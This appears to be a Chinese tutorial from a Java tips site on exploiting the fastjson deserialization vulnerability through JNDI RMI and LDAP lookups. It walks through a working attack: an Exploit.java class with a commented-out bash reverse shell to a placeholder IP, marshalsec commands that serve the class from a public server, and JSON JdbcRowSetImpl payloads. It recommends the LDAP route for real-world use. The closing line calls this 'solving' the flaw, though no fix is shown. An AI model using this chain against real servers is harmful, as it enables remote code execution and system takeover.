fastjson反序列化漏洞利用工具是什么?

fastjson是alibaba开源的一款高性能功能完善的JSON库,但是之前官方自己爆出了一个安全漏洞,那么fastjson反序列化漏洞利用工具是什么?接下来,我们就来给大家讲解一下这方面的内容。

反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。

RMI是一种行为,指的是Java远程方法调用。

JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。

存在java版本限制:

基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。

在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。

基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。

可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

一、环境搭建

下载war包后,放到tomcat的webapps目录下,自动部署war包。

fastjson反序列化漏洞利用工具是什么?.jpg

启动tomcat服务,访问对应目录。

1.jpg

二、漏洞利用

1、首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit
{
    public Exploit() throws Exception
    {
        Process p = Runtime.getRuntime()
            .exec(new String[]
            {
                "cmd"
                , "/c"
                , "calc.exe"
            });
        //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while ((line = reader.readLine()) != null)
        {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception
    {}
}

使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

javac Exploit.java

2.jpg

把生成的Exploit.class文件,放到公网vps的web目录下,可以通过互联网的http服务访问到。

2、使用marshalsec启动一个RMI服务器,或者ladp服务器。

mvn clean package -DskipTests

3.jpg

把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。

可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。

java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit"
9999
java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit"
9999

实验环境的jdk版本为8u172,大于8u121小于8u191,理论上rmi无法使用,ldap可以使用。

发送exp

{
    "a":
    {
        "@type": "java.lang.Class"
        , "val": "com.sun.rowset.JdbcRowSetImpl"
    }
    , "b":
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
        , "dataSourceName": "rmi://x.x.x.x/:9999/Exploit"
        , "autoCommit": true
    }
}

4.jpg

rmi服务接受到了请求,但并没有执行计算器的系统命令。

5.jpg

使用ldap服务,进行漏洞利用。

java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit"
9999
{
    "a":
    {
        "@type": "java.lang.Class"
        , "val": "com.sun.rowset.JdbcRowSetImpl"
    }
    , "b":
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
        , "dataSourceName": "ldap://x.x.x.x:9999/Exploit"
        , "autoCommit": true
    }
}

成功执行了系统命令,弹出了计算器。

6.jpg

从文中我们可以看出,解决fastjson反序列化漏洞还是比较繁琐的,不过大家要是掌握这些方法的话,也是自己技能的一个提升哦!最后大家如果想要了解更多java入门知识,敬请关注奇Q工具网。

推荐阅读:

java运行环境是什么?如何配置java运行环境?

eclipse写完代码怎么保存?eclipse如何写程序?

java编程要多少钱?做java工作要多少钱?